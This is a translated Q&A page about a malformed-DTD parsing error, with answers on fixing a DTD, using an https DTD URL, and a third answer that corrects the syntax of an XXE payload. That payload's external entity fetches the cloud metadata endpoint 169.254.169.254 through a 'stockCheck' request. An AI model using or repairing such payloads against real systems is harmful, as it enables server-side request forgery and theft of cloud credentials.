文档类型声明包含或指向的标记声明必须格式正确本周鲜花

问题描述 投票:0回答:3
xml dtd
3个回答
3
投票

您需要从 DTD 中删除

DOCTYPE
。声明中的元素名称后面还应该有空格。

新DTD

<!ELEMENT catalog (title,plant+)>
<!ELEMENT title (#PCDATA)>
<!ELEMENT plant (name,climate,height,usage,image)+>
<!ELEMENT name (#PCDATA)>
<!ELEMENT climate (#PCDATA)>
<!ELEMENT height (#PCDATA)>
<!ELEMENT usage (#PCDATA)>
<!ELEMENT image (#PCDATA)>

现在 DTD 有效,您在验证 XML 时会看到一些错误。

首先,您需要声明

id
元素的
plant
属性。我建议
<!ATTLIST plant id ID #REQUIRED>

第二个是第二个

climate
中缺少
plant
。我不确定这是 XML 错误还是 DTD 错误。
plant
的元素声明并没有多大意义,因为它是按该顺序排列的 5 个元素一次或多次。如果您需要有关该部分的帮助,请描述
plant
应包含哪些内容,我可以帮助您编写正确的声明。


2
投票

“文档类型声明包含或指向的标记声明必须格式正确”错误

就我而言,我位于代理后面,所以我猜它导致了问题

<?xml version = "1.0" encoding = "UTF-8"?>
<!DOCTYPE suite SYSTEM "http://testng.org/testng-1.0.dtd" >

所以我将其更改为https

<!DOCTYPE suite SYSTEM "https://testng.org/testng-1.0.dtd" >

0
投票

我也遇到了同样的错误。但就我而言,它是这样解决的。在这里阅读完整的说明

我遇到的错误表明我的 XML 负载方式存在问题。在 XML 中,某些字符和结构具有特定的规则,任何偏离这些规则的行为都可能导致解析错误。

在我提供的有效负载中:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [<! ENTITY xxe SYSTEM "http://169.254.169.254/" >]>
<stockCheck>
    <productId>
        &xxe;
    </productId>
    <storeId>2</storeId>
</stockCheck>

<!
ENTITY
之间有空格,这可能会导致解析错误。尝试删除空格以使其
<!ENTITY

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://169.254.169.254/" >]>
<stockCheck>
    <productId>
        &xxe;
    </productId>
    <storeId>2</storeId>
</stockCheck>

如果问题仍然存在,请考虑确保您的 XML 负载遵守 XML 语法规则。另外,请验证是否存在可能导致解析错误的额外空格、无效字符或未闭合标签。

© www.soinside.com 2019 - 2024. All rights reserved.